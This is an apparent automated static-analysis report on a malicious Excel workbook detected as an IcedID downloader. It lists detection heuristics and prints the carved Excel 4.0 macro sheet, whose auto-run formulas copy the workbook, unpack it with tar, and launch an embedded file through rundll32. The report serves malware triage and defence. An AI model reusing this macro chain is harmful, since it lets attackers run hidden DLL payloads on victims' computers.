Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 15ebf2bdf2cf524e…

MALICIOUS

Office (OOXML)

167.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-10
MD5: a6276fa2a4ae8a850e6c8bf3a75b605f SHA-1: 2bf72596e5fbe38f2ea0f1cf0a369caebd2b537b SHA-256: 15ebf2bdf2cf524e6f5d4192abea449ff0a9bce50048c2d818de680495dc812b
270 Risk Score

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2484 bytes
SHA-256: 91f1aca554e549068a8b5d2509e9feb037db2fcb72eaeeea8056c1fa7b6b089a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{08B19BFC-EE4F-49F8-A508-C045772A35D0}"><dimension ref="AB154:AO169"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="4" width="9.5703125" style="2"/><col min="5" max="5" width="9.5703125" style="2" customWidth="1"/><col min="6" max="26" width="9.5703125" style="2"/><col min="27" max="27" width="9.5703125" style="2" customWidth="1"/><col min="28" max="35" width="9.5703125" style="2" hidden="1" customWidth="1"/><col min="36" max="36" width="9.42578125" style="2" hidden="1" customWidth="1"/><col min="37" max="37" width="30" style="2" hidden="1" customWidth="1"/><col min="38" max="41" width="9.5703125" style="2" hidden="1" customWidth="1"/><col min="42" max="16384" width="9.5703125" style="2"/></cols><sheetData><row r="154" spans="37:37" x14ac:dyDescent="0.25"><c r="AK154" s="2" t="b"><f>SAVE.COPY.AS("..\test.test")</f><v>0</v></c></row><row r="156" spans="37:37" x14ac:dyDescent="0.25"><c r="AK156" s="2" t="b"><f>EXEC("tar -xf ..\test.test -C ..\")</f><v>0</v></c></row><row r="159" spans="37:37" x14ac:dyDescent="0.25"><c r="AK159" s="2" t="b"><f>WAIT(NOW()+"00:00:5")</f><v>0</v></c></row><row r="164" spans="37:37" x14ac:dyDescent="0.25"><c r="AK164" s="2" t="b"><f>EXEC("rundll32 "&amp;"..\xl\media\image2.bmp"&amp;",PluginInit")</f><v>0</v></c></row><row r="169" spans="37:37" x14ac:dyDescent="0.25"><c r="AK169" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>